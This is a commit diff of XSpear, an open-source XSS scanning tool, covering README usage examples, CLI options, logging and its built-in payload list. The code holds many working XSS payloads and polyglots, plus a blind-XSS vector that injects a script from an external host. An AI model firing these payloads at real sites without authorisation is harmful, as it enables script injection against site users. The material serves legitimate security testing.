-
|
|
79
|
-
+ v=
|
|
80
|
-
+ v=
|
|
86
|
+
-o, --output=FORMAT [optional] Output format (cli , json)
|
|
87
|
+
-c, --config=FILENAME [optional] Using config.json
|
|
88
|
+
-v, --verbose=0~3 [optional] Show log depth
|
|
89
|
+
+ v=0 : quite mode(only result)
|
|
90
|
+
+ v=1 : show scanning status(default)
|
|
91
|
+
+ v=2 : show scanning logs
|
|
81
92
|
+ v=3 : show detail log(req/res)
|
|
82
93
|
-h, --help Prints this help
|
|
83
94
|
--version Show XSpear version
|
|
@@ -91,40 +102,218 @@ $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
|
|
|
91
102
|
- (M)EDIUM: medium level issue
|
|
92
103
|
- (H)IGH: high level issue
|
|
93
104
|
|
|
105
|
+
### Verbose Mode
|
|
106
|
+
**[0] quite mode(show only result)**
|
|
107
|
+
```
|
|
108
|
+
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
|
|
109
|
+
you see report
|
|
110
|
+
```
|
|
111
|
+
**[1] show progress bar (default)**
|
|
112
|
+
```
|
|
113
|
+
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1
|
|
114
|
+
[*] analysis request..
|
|
115
|
+
[*] used test-reflected-params mode(default)
|
|
116
|
+
[*] creating a test query [for reflected 2 param + blind XSS ]
|
|
117
|
+
[*] test query generation is complete. [249 query]
|
|
118
|
+
[*] starting XSS Scanning. [10 threads]
|
|
119
|
+
|
|
120
|
+
[#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s]
|
|
121
|
+
...
|
|
122
|
+
you see report
|
|
123
|
+
```
|
|
124
|
+
**[2] show scanning logs**
|
|
125
|
+
```
|
|
126
|
+
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
|
|
127
|
+
[*] analysis request..
|
|
128
|
+
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
|
|
129
|
+
[-] [22:42:41] [200/OK] 'STATIC' not reflected
|
|
130
|
+
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
|
|
131
|
+
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
|
|
132
|
+
[*] used test-reflected-params mode(default)
|
|
133
|
+
[*] creating a test query [for reflected 2 param + blind XSS ]
|
|
134
|
+
[*] test query generation is complete. [249 query]
|
|
135
|
+
[*] starting XSS Scanning. [10 threads]
|
|
136
|
+
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
|
|
137
|
+
[-] [22:42:54] [200/OK] 'cat' not reflected <img/src onerror=alert(45)>
|
|
138
|
+
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
|
|
139
|
+
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
|
|
140
|
+
[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
|
|
141
|
+
...
|
|
142
|
+
you see report
|
|
143
|
+
```
|
|
144
|
+
**[3] show scanning detail logs**
|
|
145
|
+
```
|
|
146
|
+
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3
|
|
147
|
+
[*] analysis request..
|
|
148
|
+
[-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url
|
|
149
|
+
[ Request ]
|
|
150
|
+
{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
|
|
151
|
+
[ Response ]
|
|
152
|
+
{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
|
|
153
|
+
[-] [22:56:21] [200/OK] 'STATIC' not reflected
|
|
154
|
+
[-] [22:56:21] [200/OK] cat=123rEfe6 in url
|
|
155
|
+
...
|
|
156
|
+
[*] used test-reflected-params mode(default)
|
|
157
|
+
[*] creating a test query [for reflected 2 param + blind XSS ]
|
|
158
|
+
[*] test query generation is complete. [249 query]
|
|
159
|
+
[*] starting XSS Scanning. [10 threads]
|
|
160
|
+
...
|
|
161
|
+
[ Request ]
|
|
162
|
+
{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
|
|
163
|
+
[ Response ]
|
|
164
|
+
{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
|
|
165
|
+
[H] [22:57:33] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
|
|
166
|
+
...
|
|
167
|
+
you see report
|
|
168
|
+
```
|
|
94
169
|
### Case by Case
|
|
95
170
|
**Scanning XSS**
|
|
96
171
|
```
|
|
97
172
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"
|
|
98
173
|
```
|
|
99
174
|
|
|
100
|
-
**
|
|
175
|
+
**Only JSON output**
|
|
101
176
|
```
|
|
102
|
-
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v
|
|
177
|
+
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0
|
|
103
178
|
```
|
|
104
179
|
|
|
105
|
-
**detail log**
|
|
106
|
-
```
|
|
107
|
-
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -v 3
|
|
108
|
-
```
|
|
109
180
|
|
|
110
|
-
**
|
|
181
|
+
**Set scanning thread**
|
|
111
182
|
```
|
|
112
183
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30
|
|
113
184
|
```
|
|
114
185
|
|
|
115
|
-
**
|
|
186
|
+
**Testing at selected parameters**
|
|
116
187
|
```
|
|
117
188
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test
|
|
118
189
|
```
|
|
119
190
|
|
|
120
|
-
**
|
|
191
|
+
**Testing at all parameters**<br>
|
|
192
|
+
(This option is tested with or without reflection.)
|
|
193
|
+
```
|
|
194
|
+
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
**Testing blind xss(all params)**<br>
|
|
121
198
|
(Should be used as much as possible because Blind XSS is everywhere)<br>
|
|
122
199
|
```
|
|
123
|
-
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht"
|
|
200
|
+
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a
|
|
124
201
|
|
|
125
202
|
# Set your blind xss host. <-b options>
|
|
126
203
|
```
|
|
127
204
|
|
|
205
|
+
**for Pipeline**<br>
|
|
206
|
+
```
|
|
207
|
+
$ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json
|
|
208
|
+
|
|
209
|
+
# -u : target
|
|
210
|
+
# -b : testing blind xss
|
|
211
|
+
# -a : test all params(test to not reflected param)
|
|
212
|
+
# -v : verbose, not showing logs at value 1.
|
|
213
|
+
# -o : output optios, json!
|
|
214
|
+
```
|
|
215
|
+
result json data
|
|
216
|
+
```
|
|
217
|
+
{
|
|
218
|
+
"starttime": "2019-12-25 00:02:58 +0900",
|
|
219
|
+
"endtime": "2019-12-25 00:03:31 +0900",
|
|
220
|
+
"issue_count": 25,
|
|
221
|
+
"issue_list": [{
|
|
222
|
+
"id": 0,
|
|
223
|
+
"type": "INFO",
|
|
224
|
+
"issue": "DYNAMIC ANALYSIS",
|
|
225
|
+
"method": "GET",
|
|
226
|
+
"param": "cat",
|
|
227
|
+
"payload": "XsPeaR\"",
|
|
228
|
+
"description": "Found SQL Error Pattern"
|
|
229
|
+
}, {
|
|
230
|
+
"id": 1,
|
|
231
|
+
"type": "INFO",
|
|
232
|
+
"issue": "STATIC ANALYSIS",
|
|
233
|
+
"method": "GET",
|
|
234
|
+
"param": "-",
|
|
235
|
+
"payload": "<original query>",
|
|
236
|
+
"description": "Found Server: nginx/1.4.1"
|
|
237
|
+
}, {
|
|
238
|
+
"id": 2,
|
|
239
|
+
"type": "INFO",
|
|
240
|
+
"issue": "STATIC ANALYSIS",
|
|
241
|
+
"method": "GET",
|
|
242
|
+
"param": "-",
|
|
243
|
+
"payload": "<original query>",
|
|
244
|
+
"description": "Not set HSTS"
|
|
245
|
+
}, {
|
|
246
|
+
"id": 3,
|
|
247
|
+
"type": "INFO",
|
|
248
|
+
"issue": "STATIC ANALYSIS",
|
|
249
|
+
"method": "GET",
|
|
250
|
+
"param": "-",
|
|
251
|
+
"payload": "<original query>",
|
|
252
|
+
"description": "Content-Type: text/html"
|
|
253
|
+
}, {
|
|
254
|
+
"id": 4,
|
|
255
|
+
"type": "LOW",
|
|
256
|
+
"issue": "STATIC ANALYSIS",
|
|
257
|
+
"method": "GET",
|
|
258
|
+
"param": "-",
|
|
259
|
+
"payload": "<original query>",
|
|
260
|
+
"description": "Not Set X-Frame-Options"
|
|
261
|
+
}, {
|
|
262
|
+
"id": 5,
|
|
263
|
+
"type": "MIDUM",
|
|
264
|
+
"issue": "STATIC ANALYSIS",
|
|
265
|
+
"method": "GET",
|
|
266
|
+
"param": "-",
|
|
267
|
+
"payload": "<original query>",
|
|
268
|
+
"description": "Not Set CSP"
|
|
269
|
+
}, {
|
|
270
|
+
"id": 6,
|
|
271
|
+
"type": "INFO",
|
|
272
|
+
"issue": "REFLECTED",
|
|
273
|
+
"method": "GET",
|
|
274
|
+
"param": "cat",
|
|
275
|
+
"payload": "rEfe6",
|
|
276
|
+
"description": "reflected parameter"
|
|
277
|
+
}, {
|
|
278
|
+
"id": 7,
|
|
279
|
+
"type": "INFO",
|
|
280
|
+
"issue": "FILERD RULE",
|
|
281
|
+
"method": "GET",
|
|
282
|
+
"param": "cat",
|
|
283
|
+
"payload": "onhwul=64",
|
|
284
|
+
"description": "not filtered event handler on{any} pattern"
|
|
285
|
+
}
|
|
286
|
+
....
|
|
287
|
+
, {
|
|
288
|
+
"id": 17,
|
|
289
|
+
"type": "HIGH",
|
|
290
|
+
"issue": "XSS",
|
|
291
|
+
"method": "GET",
|
|
292
|
+
"param": "cat",
|
|
293
|
+
"payload": "<audio src onloadstart=alert(45)>",
|
|
294
|
+
"description": "reflected HTML5 XSS Code"
|
|
295
|
+
}, {
|
|
296
|
+
"id": 18,
|
|
297
|
+
"type": "HIGH",
|
|
298
|
+
"issue": "XSS",
|
|
299
|
+
"method": "GET",
|
|
300
|
+
"param": "cat",
|
|
301
|
+
"payload": "<keygen autofocus onfocus=alert(45)>",
|
|
302
|
+
"description": "reflected onfocus XSS Code"
|
|
303
|
+
....
|
|
304
|
+
}, {
|
|
305
|
+
"id": 24,
|
|
306
|
+
"type": "HIGH",
|
|
307
|
+
"issue": "XSS",
|
|
308
|
+
"method": "GET",
|
|
309
|
+
"param": "cat",
|
|
310
|
+
"payload": "<marquee onstart=alert(45)>",
|
|
311
|
+
"description": "triggered <marquee onstart=alert(45)>"
|
|
312
|
+
}]
|
|
313
|
+
}
|
|
314
|
+
```
|
|
315
|
+
(Items marked as `triggered` are actually payloads that work in the browser.)
|
|
316
|
+
|
|
128
317
|
etc...
|
|
129
318
|
|
|
130
319
|
### Sample log
|
|
@@ -143,32 +332,7 @@ __((_)(_)) /(/( /((_))(_))(()\
|
|
|
143
332
|
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
|
|
144
333
|
/ \<
|
|
145
334
|
\> [ v1.1.5 ]
|
|
146
|
-
|
|
147
|
-
[-] [23:50:35] [200/OK] 'zfdfasdf' not reflected rEfe6
|
|
148
|
-
[-] [23:50:35] [200/OK] 'cat' not reflected <script>alert(45)</script>
|
|
149
|
-
[I] [23:50:35] [200/OK] [param: cat][Found SQL Error Pattern]
|
|
150
|
-
[-] [23:50:35] [200/OK] 'zfdfasdf' not reflected <script>alert(45)</script>
|
|
151
|
-
[-] [23:50:35] [200/OK] 'STATIC' not reflected
|
|
152
|
-
[I] [23:50:35] [200/OK] reflected rEfe6[param: cat][reflected parameter]
|
|
153
|
-
[*] creating a test query [for reflected 2 param + blind xss ]
|
|
154
|
-
[*] test query generation is complete. [192 query]
|
|
155
|
-
[*] starting XSS Scanning. [10 threads]
|
|
156
|
-
..snip..
|
|
157
|
-
[I] [23:50:47] [200/OK] reflected xsp<frameset>
|
|
158
|
-
[I] [23:50:47] [200/OK] reflected xsp<applet>
|
|
159
|
-
[I] [23:50:48] [200/OK] reflected document.cookie.xspear
|
|
160
|
-
[I] [23:50:48] [200/OK] reflected document.location.xspear
|
|
161
|
-
[-] [23:50:48] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
|
|
162
|
-
[H] [23:50:50] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
|
|
163
|
-
[-] [23:50:55] [200/OK] 'cat' not found alert/prompt/confirm event <xmp><p title="</xmp><svg/onload=alert(45)>">
|
|
164
|
-
[V] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <script>alert(45)</script>[param: cat][triggered <script>alert(45)</script>]
|
|
165
|
-
[H] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <marquee onstart=alert(45)>[param: cat][triggered <marquee onstart=alert(45)>]
|
|
166
|
-
[H] [23:50:57] [200/OK] found alert/prompt/confirm (45) in selenium!! <details/open/ontoggle="alert(45)">[param: cat][triggered <details/open/ontoggle="alert(45)">]
|
|
167
|
-
[H] [23:50:58] [200/OK] found alert/prompt/confirm (45) in selenium!! <audio src onloadstart=alert(45)>[param: cat][triggered <audio src onloadstart=alert(45)>]
|
|
168
|
-
[-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
|
|
169
|
-
[-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event <svg(0x0c)onload=alert(1)>
|
|
170
|
-
[V] [23:51:00] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
|
|
171
|
-
...snip..
|
|
335
|
+
...snip...
|
|
172
336
|
[*] finish scan. the report is being generated..
|
|
173
337
|
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
|
|
174
338
|
| [ XSpear report ] |
|
|
@@ -343,3 +507,6 @@ Everyone interacting in the XSpear project’s codebases, issue trackers, chat r
|
|
|
343
507
|
<img src="https://user-images.githubusercontent.com/13212227/63032409-b8996580-bef0-11e9-93cd-dbabbd5f4ea1.png" width=100%>
|
|
344
508
|
< JSON Report >
|
|
345
509
|
<img src="https://user-images.githubusercontent.com/13212227/63032411-b8996580-bef0-11e9-8aee-0b80fe87f50d.png" width=100%>
|
|
510
|
+
|
|
511
|
+
## Video
|
|
512
|
+
[](https://asciinema.org/a/290126)
|
data/XSpear.gemspec
CHANGED
|
@@ -37,10 +37,12 @@ Gem::Specification.new do |spec|
|
|
|
37
37
|
spec.add_runtime_dependency "colorize", "~> 0.8.1"
|
|
38
38
|
spec.add_runtime_dependency "selenium-webdriver", "~> 3.142.3"
|
|
39
39
|
spec.add_runtime_dependency "terminal-table", "~> 1.8.0"
|
|
40
|
+
spec.add_runtime_dependency "progress_bar", "~> 2.3.2"
|
|
40
41
|
|
|
41
42
|
spec.add_development_dependency "colorize", "~> 0.8.1"
|
|
42
43
|
spec.add_development_dependency "selenium-webdriver", "~> 3.142.3"
|
|
43
44
|
spec.add_development_dependency "terminal-table" , "~> 1.8.0"
|
|
45
|
+
spec.add_development_dependency "progress_bar", "~> 2.3.2"
|
|
44
46
|
spec.add_development_dependency "bundler", "~> 2.0"
|
|
45
47
|
spec.add_development_dependency "rake", "~> 10.0"
|
|
46
48
|
spec.add_development_dependency "rspec", "~> 3.0"
|
data/config.json
ADDED
data/exe/XSpear
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
#!/usr/bin/env ruby
|
|
2
|
+
require "XSpear"
|
|
2
3
|
|
|
4
|
+
XOptions = Struct.new(:url, :data, :headers, :params, :options)
|
|
3
5
|
|
|
4
|
-
require "XSpear"
|
|
5
|
-
Options = Struct.new(:url, :data, :headers, :params, :options )
|
|
6
6
|
class Parser
|
|
7
7
|
def self.parse(options)
|
|
8
|
-
args =
|
|
8
|
+
args = XOptions.new('xspear')
|
|
9
9
|
args.options = {}
|
|
10
10
|
if options.empty?
|
|
11
11
|
banner
|
|
@@ -13,7 +13,7 @@ class Parser
|
|
|
13
13
|
exit
|
|
14
14
|
end
|
|
15
15
|
opt_parser = OptionParser.new do |opts|
|
|
16
|
-
opts.banner = "Usage: xspear -u [target] -[options] [value]\n[ e.g ]\n$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'\n\n[ Options ]"
|
|
16
|
+
opts.banner = "Usage: xspear -u [target] -[options] [value]\n[ e.g ]\n$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a \n$ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2\n$ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json\n\n[ Options ]"
|
|
17
17
|
|
|
18
18
|
|
|
19
19
|
opts.on('-u', '--url=target_URL', '[required] Target Url') do |n|
|
|
@@ -48,7 +48,6 @@ class Parser
|
|
|
48
48
|
args.options['params'] = n
|
|
49
49
|
end
|
|
50
50
|
|
|
51
|
-
|
|
52
51
|
opts.on('-b', '--BLIND=URL', '[optional] Add vector of Blind XSS',' + with XSS Hunter, ezXSS, HBXSS, etc...',' + e.g : -b https://hahwul.xss.ht') do |n|
|
|
53
52
|
args.options['blind'] = n
|
|
54
53
|
end
|
|
@@ -59,15 +58,18 @@ class Parser
|
|
|
59
58
|
end
|
|
60
59
|
|
|
61
60
|
|
|
62
|
-
opts.on('-o', '--output=
|
|
61
|
+
opts.on('-o', '--output=FORMAT', '[optional] Output format (cli , json)') do |n|
|
|
63
62
|
args.options['output'] = n
|
|
64
63
|
end
|
|
65
64
|
|
|
65
|
+
opts.on('-c', '--config=FILENAME', '[optional] Using config.json') do |n|
|
|
66
|
+
args.options['config'] = n
|
|
67
|
+
end
|
|
66
68
|
|
|
67
|
-
opts.on('-v', '--verbose=
|
|
68
|
-
' +
|
|
69
|
-
' + v=1 :
|
|
70
|
-
' + v=2 : show scanning
|
|
69
|
+
opts.on('-v', '--verbose=0~3', '[optional] Show log depth',
|
|
70
|
+
' + v=0 : quite mode(only result)',
|
|
71
|
+
' + v=1 : show scanning status(default)',
|
|
72
|
+
' + v=2 : show scanning logs',
|
|
71
73
|
' + v=3 : show detail log(req/res)') do |n|
|
|
72
74
|
args.options['verbose'] = n
|
|
73
75
|
end
|
|
@@ -151,10 +153,21 @@ end
|
|
|
151
153
|
|
|
152
154
|
exit unless options.url
|
|
153
155
|
options.options['thread'] = 10 unless options.options['thread']
|
|
154
|
-
options.options['verbose'] =
|
|
156
|
+
options.options['verbose'] = 1 unless options.options['verbose']
|
|
155
157
|
options.options['thread'] = options.options['thread'].to_i
|
|
156
158
|
|
|
157
|
-
if options.options['
|
|
159
|
+
if !options.options['config'].nil?
|
|
160
|
+
f = File.open(options.options['config'])
|
|
161
|
+
buf = f.read
|
|
162
|
+
cjson = JSON.parse buf
|
|
163
|
+
cjson.each do |key,value|
|
|
164
|
+
if value.to_s.size > 0
|
|
165
|
+
options.options[key] = value
|
|
166
|
+
end
|
|
167
|
+
end
|
|
168
|
+
end
|
|
169
|
+
|
|
170
|
+
if options.options['verbose'].to_i != 0
|
|
158
171
|
banner
|
|
159
172
|
end
|
|
160
173
|
s = XspearScan.new options.url, options.options
|
data/lib/XSpear/log.rb
CHANGED
|
@@ -10,7 +10,16 @@ def log(t, message)
|
|
|
10
10
|
|
|
11
11
|
# system message
|
|
12
12
|
# [+] start parameter analysis..
|
|
13
|
-
|
|
13
|
+
# verbose 0 : only result
|
|
14
|
+
# verbose 1(default) : show progress
|
|
15
|
+
# verbose 2 : show normal log(info, payload)
|
|
16
|
+
# verbose 3 : show details log(info, payload, packets, etc..)
|
|
17
|
+
|
|
18
|
+
if @verbose.to_i == 1
|
|
19
|
+
if t == 's' # system message
|
|
20
|
+
puts '[*]'.green + " #{message}"
|
|
21
|
+
end
|
|
22
|
+
elsif @verbose.to_i > 1
|
|
14
23
|
time = Time.now
|
|
15
24
|
if t == 'd'
|
|
16
25
|
puts '[-]'.white + " [#{time.strftime('%H:%M:%S')}] #{message}"
|
data/lib/XSpear/version.rb
CHANGED
data/lib/XSpear.rb
CHANGED
|
@@ -7,6 +7,7 @@ require 'uri'
|
|
|
7
7
|
require 'optparse'
|
|
8
8
|
require 'colorize'
|
|
9
9
|
require "selenium-webdriver"
|
|
10
|
+
require "progress_bar"
|
|
10
11
|
|
|
11
12
|
module XSpear
|
|
12
13
|
class Error < StandardError; end
|
|
@@ -35,6 +36,7 @@ class XspearScan
|
|
|
35
36
|
@filtered_objects = {}
|
|
36
37
|
@reflected_params = []
|
|
37
38
|
@param_check_switch = 0
|
|
39
|
+
@progress_bar = nil
|
|
38
40
|
end
|
|
39
41
|
|
|
40
42
|
class ScanCallbackFunc
|
|
@@ -172,7 +174,7 @@ class XspearScan
|
|
|
172
174
|
d = c.split " "
|
|
173
175
|
r = r+d[0]+" "
|
|
174
176
|
end
|
|
175
|
-
@report.add_issue("i","s","-","-","<original query>","
|
|
177
|
+
@report.add_issue("i","s","-","-","<original query>","Enabled CSP")
|
|
176
178
|
rescue
|
|
177
179
|
@report.add_issue("i","s","-","-","<original query>","CSP ERROR")
|
|
178
180
|
end
|
|
@@ -180,7 +182,6 @@ class XspearScan
|
|
|
180
182
|
@report.add_issue("m","s","-","-","<original query>","Not Set CSP")
|
|
181
183
|
end
|
|
182
184
|
|
|
183
|
-
|
|
184
185
|
[false, "not reflected #{@query}"]
|
|
185
186
|
end
|
|
186
187
|
end
|
|
@@ -500,9 +501,9 @@ class XspearScan
|
|
|
500
501
|
|
|
501
502
|
|
|
502
503
|
# Check Event Handler
|
|
503
|
-
r.push makeQueryPattern('f', '\"><xspear onhwul=64>', 'onhwul=64', 'i', "
|
|
504
|
+
r.push makeQueryPattern('f', '\"><xspear onhwul=64>', 'onhwul=64', 'i', "reflected EH "+"on{any} pattern".blue, CallbackStringMatch)
|
|
504
505
|
event_handler.each do |ev|
|
|
505
|
-
r.push makeQueryPattern('f', "\"<xspear #{ev}=64>", "#{ev}=64", 'i', "
|
|
506
|
+
r.push makeQueryPattern('f', "\"<xspear #{ev}=64>", "#{ev}=64", 'i', "reflected EH "+"#{ev}=64".blue, CallbackNotAdded)
|
|
506
507
|
end
|
|
507
508
|
|
|
508
509
|
|
|
@@ -541,18 +542,21 @@ class XspearScan
|
|
|
541
542
|
r.push makeQueryPattern('x', "\"'><#{t} autofocus onfocus=alert(45)>", "<#{t} autofocus onfocus=alert(45)>", 'h', "reflected "+"onfocus XSS Code".red, CallbackStringMatch)
|
|
542
543
|
end
|
|
543
544
|
|
|
544
|
-
|
|
545
545
|
# Check Selenium Common XSS Payloads
|
|
546
546
|
r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "triggered ".yellow+"<script>alert(45)</script>".red, CallbackXSSSelenium)
|
|
547
547
|
r.push makeQueryPattern('x', '"><svgonload=alert(45)>', '<svg(0x0c)onload=alert(1)>', 'v', "triggered ".yellow+"<svg(0x0c)onload=alert(1)>".red, CallbackXSSSelenium)
|
|
548
548
|
r.push makeQueryPattern('x', '<xmp><p title="</xmp><svg/onload=alert(45)>">', '<xmp><p title="</xmp><svg/onload=alert(45)>">', 'v', "triggered ".yellow+"<xmp><p title='</xmp><svg/onload=alert(45)>'>".red, CallbackXSSSelenium)
|
|
549
549
|
r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
|
|
550
|
-
r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', '
|
|
551
|
-
r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', '
|
|
552
|
-
r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', '
|
|
553
|
-
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', '
|
|
554
|
-
r.push makeQueryPattern('x', '"\'><svg/whatthe=""onload=alert(45)>', '<svg/whatthe=""onload=alert(45)>', '
|
|
555
|
-
|
|
550
|
+
r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'v', "triggered ".yellow+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium)
|
|
551
|
+
r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', 'v', "triggered ".yellow+"<details/open/ontoggle=\"alert(45)\">".red, CallbackXSSSelenium)
|
|
552
|
+
r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'v', "triggered ".yellow+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium)
|
|
553
|
+
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'v', "triggered ".yellow+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium)
|
|
554
|
+
r.push makeQueryPattern('x', '"\'><svg/whatthe=""onload=alert(45)>', '<svg/whatthe=""onload=alert(45)>', 'v', "triggered ".yellow+"<svg/whatthe=""onload=alert(45)>".red, CallbackXSSSelenium)
|
|
555
|
+
# + in Javascript payloads
|
|
556
|
+
r.push makeQueryPattern('x', '\'+alert(45)+\'', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
|
|
557
|
+
r.push makeQueryPattern('x', '"+alert(45)+"', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
|
|
558
|
+
r.push makeQueryPattern('x', '\'%2Balert(45)%2B\'', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
|
|
559
|
+
r.push makeQueryPattern('x', '"%2Balert(45)%2B"', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
|
|
556
560
|
|
|
557
561
|
# Check Selenium XSS Polyglot
|
|
558
562
|
r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
@@ -560,8 +564,6 @@ class XspearScan
|
|
|
560
564
|
r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
561
565
|
|
|
562
566
|
|
|
563
|
-
|
|
564
|
-
|
|
565
567
|
# Check Blind XSS Payload
|
|
566
568
|
if !@blind_url.nil?
|
|
567
569
|
r.push makeQueryPattern('f', "\"'><script src=#{@blind_url}></script>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded)
|
|
@@ -575,8 +577,9 @@ class XspearScan
|
|
|
575
577
|
r = r.flatten
|
|
576
578
|
log('s', "test query generation is complete. [#{r.length} query]")
|
|
577
579
|
log('s', "starting XSS Scanning. [#{@thread} threads]")
|
|
578
|
-
|
|
579
|
-
|
|
580
|
+
if @verbose.to_i == 1
|
|
581
|
+
@progress_bar = ProgressBar.new(r.length)
|
|
582
|
+
end
|
|
580
583
|
threads = []
|
|
581
584
|
r.each_slice(@thread) do |jobs|
|
|
582
585
|
jobs.map do |node|
|
|
@@ -622,7 +625,6 @@ class XspearScan
|
|
|
622
625
|
# [x]ss
|
|
623
626
|
# [s]tatic
|
|
624
627
|
# [d]ynamic
|
|
625
|
-
|
|
626
628
|
result = []
|
|
627
629
|
if type == 's'
|
|
628
630
|
if @data.nil?
|
|
@@ -664,10 +666,36 @@ class XspearScan
|
|
|
664
666
|
end
|
|
665
667
|
end
|
|
666
668
|
end
|
|
669
|
+
if callback == CallbackXSSSelenium
|
|
670
|
+
begin
|
|
671
|
+
puri = URI.parse(@url)
|
|
672
|
+
puri.path = puri.path+URI.encode("/"+pattern)
|
|
673
|
+
result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
|
|
674
|
+
puri = URI.parse(@url)
|
|
675
|
+
